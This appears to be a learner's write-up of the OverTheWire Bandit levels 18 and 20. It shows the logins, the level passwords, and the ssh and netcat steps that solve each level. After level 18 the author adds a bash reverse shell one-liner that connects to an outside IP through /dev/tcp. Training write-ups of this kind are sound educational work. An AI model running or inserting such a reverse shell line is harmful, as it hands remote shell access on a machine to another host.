Bandit 18 Over The Wire

Lessons Learned

ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners

Logging in

On a kali vm/ linux machine
Type:

ssh bandit18@bandit.labs.overthewire.org -p 2220
kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd

Completing The Challenge

The Goal:

The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.

The Solution:

kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme'
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password:
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x


Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Bandit 20 Over The Wire

Lessons Learned using nc to create a steady connection, also on background and foreground processes Logging in On a kali vm/ linux machine Type: ssh bandit20@bandit.labs.overthewire.org -p 2220 GbKksEFF4yrVs6il55v6gwY5aVje5f0j Completing The Challenge The Goal: There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21). The Solution: bandit20@bandit:~$ nc -l -p 2000 ^Z [1]+  Stopped                 nc -l -p 2000 bandit20@bandit:~$ ./suconnect 2000 ^Z [2]+  Stopped                 ./suconnect 2000 bandit20@bandit:~$ fg 1 nc -l -p 2000 GbKksEFF4yrVs6il55v6gwY5aVje5f0j ^Z [1]+  Stopped                 nc -l -p 2000 bandit20@bandit:~$ fg 2 ./suconnect 2000 Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
